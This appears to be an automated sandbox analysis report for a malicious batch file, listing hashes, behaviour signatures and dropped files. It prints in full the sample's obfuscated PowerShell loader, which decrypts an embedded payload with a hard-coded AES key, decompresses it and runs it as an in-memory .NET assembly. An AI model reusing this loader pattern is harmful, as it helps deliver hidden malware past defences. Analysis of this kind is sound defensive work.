a858b2b8b4be7cb23e0a7d37a0c08489a6820cb1be5523a7a466014eb994391f

Analysis

max time kernel
62s
max time network
33s
platform
windows7_x64
resource
win7-20230220-en
resource tags

arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
submitted
31-03-2023 16:01

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

$RECYCLE.BIN/$RJXIQS1.bat
Size

325KB
MD5

09329152d36bbe721ce3504787436cf2
SHA1

713a6fb0da4a111649bc7268f193ba52463e3576
SHA256

67e3ece7d1bf12285f01930d6eb28b91ba4a02551d24648ddc79a17cbb9d9423
SHA512

ee5ad3c41a7822bcc759fa3a33dd2d404cf57f1b074973a61f59c2163bb4062c908b820eb9a0e7fde009be42e6cdcab85ea5373805bbc242ea47957c9fd44a7e
SSDEEP

6144:uhhAqNRvU+SV6ukYulDTHKqFSC6M+cnyJZAneGwJZfNiINj:uhhAANCkJlqqFSC6dcyQo15j

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
1340	$RJXIQS1.bat.exe

Loads dropped DLL 1 IoCs

pid	Process
2008	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1340	$RJXIQS1.bat.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1340	$RJXIQS1.bat.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2008 wrote to memory of 1340	2008	cmd.exe	29
PID 2008 wrote to memory of 1340	2008	cmd.exe	29
PID 2008 wrote to memory of 1340	2008	cmd.exe	29

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\$RECYCLE.BIN\$RJXIQS1.bat"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2008
- C:\Users\Admin\AppData\Local\Temp\$RECYCLE.BIN\$RJXIQS1.bat.exe
  "$RJXIQS1.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $Mulkj = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\$RECYCLE.BIN\$RJXIQS1.bat').Split([Environment]::NewLine);foreach ($IRhUZ in $Mulkj) { if ($IRhUZ.StartsWith(':: ')) { $DfRfS = $IRhUZ.Substring(3); break; }; };$tUDnz = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($DfRfS);$mhFKv = New-Object System.Security.Cryptography.AesManaged;$mhFKv.Mode = [System.Security.Cryptography.CipherMode]::CBC;$mhFKv.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$mhFKv.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sLPwO8+S6swu7bBaCR3UKxvgiQCK9eRNWGiIj+Y64B4=');$mhFKv.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wgIbPD7/o3xb1XnxDadMKQ==');$lUXqc = $mhFKv.CreateDecryptor();$tUDnz = $lUXqc.TransformFinalBlock($tUDnz, 0, $tUDnz.Length);$lUXqc.Dispose();$mhFKv.Dispose();$Trzho = New-Object System.IO.MemoryStream(, $tUDnz);$SevxL = New-Object System.IO.MemoryStream;$lSUMa = New-Object System.IO.Compression.GZipStream($Trzho, [IO.Compression.CompressionMode]::Decompress);$lSUMa.CopyTo($SevxL);$lSUMa.Dispose();$Trzho.Dispose();$SevxL.Dispose();$tUDnz = $SevxL.ToArray();$LtGjo = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($tUDnz);$tvDtB = $LtGjo.EntryPoint;$tvDtB.Invoke($null, (, [string[]] ('')))
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1340

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\$RECYCLE.BIN\$RJXIQS1.bat.exe

Filesize
462KB

MD5
852d67a27e454bd389fa7f02a8cbe23f

SHA1
5330fedad485e0e4c23b2abe1075a1f984fde9fc

SHA256
a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

SHA512
327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

Download Submit
\Users\Admin\AppData\Local\Temp\$RECYCLE.BIN\$RJXIQS1.bat.exe

Filesize
462KB

MD5
852d67a27e454bd389fa7f02a8cbe23f

SHA1
5330fedad485e0e4c23b2abe1075a1f984fde9fc

SHA256
a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

SHA512
327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

Download Submit
memory/1340-59-0x0000000002610000-0x0000000002690000-memory.dmp

Filesize
512KB

Download
memory/1340-60-0x0000000002610000-0x0000000002690000-memory.dmp

Filesize
512KB

Download
memory/1340-61-0x000000001B010000-0x000000001B2F2000-memory.dmp

Filesize
2.9MB

Download
memory/1340-62-0x0000000001D10000-0x0000000001D18000-memory.dmp

Filesize
32KB

Download
memory/1340-63-0x0000000002610000-0x0000000002690000-memory.dmp

Filesize
512KB

Download
memory/1340-64-0x0000000002610000-0x0000000002690000-memory.dmp

Filesize
512KB

Download